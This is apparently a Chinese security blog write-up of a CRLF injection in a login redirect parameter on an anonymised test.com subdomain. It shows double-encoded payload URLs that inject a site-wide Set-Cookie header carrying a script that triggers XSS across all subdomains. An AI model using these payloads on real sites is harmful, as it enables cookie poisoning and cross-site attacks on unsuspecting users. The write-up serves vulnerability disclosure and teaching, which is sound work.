SN 某二级站点登录处CRLF注入,导致全站沦陷XSS(及绕过限制实现URL跳转)

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】
所有精品文章都是博主原创或精心收集或自行翻译国外的等较高质量的文章,每篇文章都会含有一些较为不错的知识点。但是请注意,精品文章专区的文章如果你想知道,那么需要你用比较有质量的文章来和博主做交换,或者投稿。当然除了以上两种方式之外你也可以考虑付一些报酬来查看文章。这里的每篇文章博主都会亲自归纳知识点,都会让你不虚此行。
某日对某站点进行测试,只是测试这个站点的登录和退出接口。然后发现了一丝蹊跷。首先当我登录进站点后,随手点击“退出”连接。如下图:
当点击后,页面就跳转到了登录的界面,然后浏览器上方的URL地址就变化为如下地址:
https://aaaa.test.com/ids/login?service=https%3A%2F%2Fbbbb.test.com%2Fsel%2Fauth%3FtargetUrl%3Dhttps%253A%252F%252Fcccc.test.com%252Fsel%252Flogin%252Flogon.action&loginTheme=sop
在刚刚看到这个URL的时候,第一感觉就应该是存在【任意URL跳转】的问题,但是这种问题说真心话,我个人都不觉得算问题。这个问题暂时先搁置,先看看页面源码。这里经过测试发现一个细节。如下图:
既然这个值在input项里了,在登录时,必然会同时被提交对吧。那咱们进入登录窗口是这样的,如下图:
我们登录试试,记得哦,登录的时候抓一下包看看,具体抓包方法。请看“超简单最基本的WEB抓包改包重放的方法”、“安卓抓包 封包 改包 无限发送数据包”。
这里我抓去了一下点击登录时候产生的数据包如下图:
这里我们仔细分析一下,首先咱们登录的URL地址是:
https://aaaa.test.com/ids/login?service=https%3A%2F%2Fbbbb.test.com%2Fsel%2Fauth%3FtargetUrl%3Dhttps%253A%252F%252Fcccc.test.com%252Fsel%252Flogin%252Flogon.action&loginTheme=sop
然后根据上图我们能看出来我们POST的数据包是:
password=
service=https%3A%2F%2Fbbbb.test.com%2Fsel%2Fauth%3FtargetUrl%3Dhttps%253A%252F%252cccc.test.com%252Fsel%252Flogin%252Flogon.action
uuid=20xxxx5-6xxb-4xxx7-axxa-3xxxxxxxxxxx8
loginTheme=sop
password2=Pd5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxGMs%3D
verifyCode=
cpuId=
首先可以非常明白的看到POST地址中service这个变量的值是跟URL地址中的service是一样对吧。同时一定注意,上图中的②,一定注意一下,大家看到了“返回数据头”,其中有一行
Location: https://cccc.test.com/sel/login/logon.action
仔细看,这里是不是与上方service中一部分的值是一样的?!这里可能有部分朋友没明白,其实这段乱码如下图https%3A%2F%2Fbbbb.test.com%2Fsel%2Fauth%3FtargetUrl%3Dhttps%253A%252F%252cccc.test.com%252Fsel%252Flogin%252Flogon.action 怎么就部分一样了?其实这段地址是被2次URL编码了,注意这段值被2次URL编码,我们解码一下如下:
https://bbbb.test.com/sel/auth?targetUrl=https://ccc.test.com/sel/login/logon.action
这里相信大家一下就看的非常清楚明白了对吧。
既然这样,那么根据URL编码规则格式为:%加字符的ASCII码,即一个百分号%,后面跟对应字符的ASCII(16进制)码值。例如空格的编码值是"%20"。回车换行如下图:
大家可以看到换行是0A那么URL编码规则就是%0A对吧。剩下的就简单了,咱们只需要构造恶意的返回头,然后写入恶意的cookie,那么最终就实现了攻击。
这里我直接给出构造好的恶意的连接地址。
service=https://bbbb.test.com/sel/auth?targetUrl=https://cccc.test.com/sel%0Aset-Cookie: 123=123; path=/; domain=.test.com%0A/login/logon.action
这是构造好的,但是注意,这里我写入cookie是写入的全站cookie,test.com所有站点下,但是需要经过两次编码。因为咱们刚刚是把值做了两次解码,所以这里要做两次编码,最终结果如下:
service=https%3A%2F%2Fbbbb.test.com%2Fsel%2Fauth%3FtargetUrl%3Dhttps%253A%252F%252Fcccc.test.com%252Fsel%250aset-Cookie%3A%2B123%3D123%253b%2Bpath%253d%252f%253b%2Bdomain%253d.test.com%250a%252Flogin%252Flogon.action
最终看一下完整的,构造好的连接。
https://aaa.test.com/ids/login?service=https%3A%2F%2Fbbbb.test.com%2Fsel%2Fauth%3FtargetUrl%3Dhttps%253A%252F%252Fcccc.test.com%252Fsel%250aset-Cookie:%2bnick=<script>alert('xss')</script>%253b%2bpath%253d%252f%253b%2bdomain%253d.test.com%250a%252Flogin%252Flogon.action&loginTheme=sop
然后我们访问一下这个连接,然后再次登录抓包。
既然可以成功写入cookie,那下一步就简单了,我们只需要找到页面调用哪个cookie,然后改写这个cookie的值,写入恶意的代码,那么最终就达到了攻击效果。
这里经过多次测试,而且恰巧这里是登录接口,通过返回的数据包与页面中的值做对比,最终有如下发现。如图
这里经过我的多次测试,最终发现nick这个值会被所有的test.com 二级、一级等站点所调用。那么只需要更改一下攻击的payload即可实现全站攻击。
更改为如下:
最后只要任何人访问了我这个URL,那么最后他访问任何*.test.com 的网站都会执行XSS,实现攻击。当然这里并不是只可以XSS攻击,还有其他的玩法,这里就不具体讲解了。
最终效果图:










布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏